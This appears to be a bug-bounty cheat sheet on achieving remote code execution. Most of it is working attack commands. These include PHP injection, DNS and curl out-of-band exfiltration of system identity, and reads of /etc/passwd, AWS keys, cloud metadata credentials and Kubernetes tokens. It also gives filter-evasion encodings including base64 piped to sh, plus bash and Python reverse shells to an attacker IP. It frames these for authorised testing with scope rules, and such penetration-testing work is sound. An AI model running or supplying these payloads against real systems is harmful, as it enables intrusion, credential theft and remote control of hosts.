Remote Code Execution

How to achieve RCE in known CMSes, frameworks and related

• https://github.com/p0dalirius/Awesome-RCE-techniques

PHP

• ${@print(system("whoami"))}

How to reverse shell with different techs

• https://gtfobins.github.io/#+reverse%20shell

Confirm out-of-band, always

Never start with a reverse shell. Prove execution with DNS: it works through egress filters, leaves a clean log, and does not open a session you have to explain in the report.

nslookup $(whoami).oob.tld
curl https://$(hostname).oob.tld
ping -c1 $(id|base64|tr -d '=').oob.tld

Burp Collaborator, or https://interactsh.com, see Burp Suite.

Blind and no DNS? Fall back to timing:

sleep 10          `sleep 10`        $(sleep 10)
ping -c 10 127.0.0.1

The usual roads in

Environment reads that beat a shell

Usually enough to prove impact, and much lower risk:

id; hostname; pwd
cat /etc/passwd
env
cat /proc/self/environ
ls -la /
cat ~/.aws/credentials
curl 169.254.169.254/latest/meta-data/iam/security-credentials/
cat /var/run/secrets/kubernetes.io/serviceaccount/token

On a cloud host, the instance credentials are the real finding. Grab the role name, stop, and report.

Payload plumbing

When the input is filtered, the problem is usually the characters, not the command.

{cat,/etc/passwd}                    # no spaces
cat</etc/passwd
X=$'\x63\x61\x74';$X /etc/passwd     # no literal "cat"
c''a''t /etc/passwd                  # quote breaking
c\at /etc/passwd
echo Y2F0IC9ldGMvcGFzc3dk|base64 -d|sh
${IFS}                                # space
$@  $*  ${Z}                          # empty expansions
/???/??t /???/p??s??                  # globbing

If you do need a shell

Get written permission first if the program is ambiguous about it.

bash -i >& /dev/tcp/YOUR_IP/4444 0>&1
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("IP",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'

• https://www.revshells.com/
• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

Rules

• No persistence, no new users, no disabling anything
• Do not read other customers’ data, stop at proof of access
• Do not pivot to another host
• Report immediately, and include exactly what you ran

Articles

• https://github.com/p0dalirius/Awesome-RCE-techniques
• https://gtfobins.github.io/
• https://lolbas-project.github.io/